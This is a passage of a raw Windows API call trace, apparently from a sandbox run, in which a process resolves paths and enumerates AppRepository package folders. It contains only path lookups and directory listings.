Users\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe") returned 0x89 [0221.405] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe\\") returned 0x8a [0221.410] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe") returned 0x89 [0221.411] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe") returned 0x89 [0221.412] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe\\") returned 0x8a [0221.605] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe") returned 0x78 [0221.607] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe") returned 0x78 [0221.608] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe\\") returned 0x79 [0221.612] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe") returned 0x78 [0221.614] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe") returned 0x78 [0221.615] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe\\") returned 0x79 [0221.697] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe") returned 0x79 [0221.698] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x79 [0221.698] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe") returned 0x79 [0221.699] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7a [0221.700] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsphone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae7d77ba, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xdac60aa2, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xdac60aa2, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0221.702] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae7d77ba, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xdac60aa2, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xdac60aa2, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.702] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1018a7a5, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x1018a7a5, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x10307fbe, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0221.703] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0221.703] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0221.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0221.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0221.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0221.705] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe") returned 0x79 [0221.705] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x79 [0221.705] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe") returned 0x79 [0221.706] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7a [0221.707] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsphone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae7d77ba, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xdac60aa2, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xdac60aa2, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5650 [0221.708] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae7d77ba, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xdac60aa2, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xdac60aa2, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.709] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1018a7a5, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x1018a7a5, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x10307fbe, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0221.709] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1018a7a5, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x1018a7a5, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x10307fbe, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 0 [0221.709] FindClose (in: hFindFile=0x1d1f5650 | out: hFindFile=0x1d1f5650) returned 1 [0221.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0221.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0221.710] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0221.710] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_10.1510.12110.0_x64__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_10.1510.12110.0_x64__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7d [0221.711] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_10.1510.12110.0_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windowssoundrecorder_10.1510.12110.0_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf698066, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xaf698066, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xdbb475bb, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0221.876] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf698066, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xaf698066, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xdbb475bb, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.876] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb80004a, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xb80004a, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0xba887c3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x478, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0221.876] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0221.876] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0221.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0221.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0221.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0221.878] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_10.1510.12110.0_x64__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_10.1510.12110.0_x64__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7d [0221.878] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_10.1510.12110.0_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windowssoundrecorder_10.1510.12110.0_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf698066, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xdbb475bb, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xdbb475bb, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5650 [0221.879] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf698066, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xdbb475bb, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xdbb475bb, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.879] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb80004a, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xb80004a, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0xba887c3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x478, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0221.879] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb80004a, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xb80004a, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0xba887c3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x478, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 0 [0221.879] FindClose (in: hFindFile=0x1d1f5650 | out: hFindFile=0x1d1f5650) returned 1 [0221.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0221.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0221.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0221.880] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe") returned 0x82 [0221.881] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x82 [0221.881] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe") returned 0x82 [0221.882] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe\\") returned 0x83 [0221.882] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windowssoundrecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf671e32, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xdbb6d62e, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xdbb6d62e, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0221.884] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf671e32, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xdbb6d62e, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xdbb6d62e, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.884] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb21153, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xbb21153, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0xbbb9ac6, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x3f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0221.884] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0221.884] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0221.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0221.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0221.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0221.885] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe") returned 0x82 [0221.886] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x82 [0221.886] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe") returned 0x82 [0221.887] GetLongPathNameW (in: 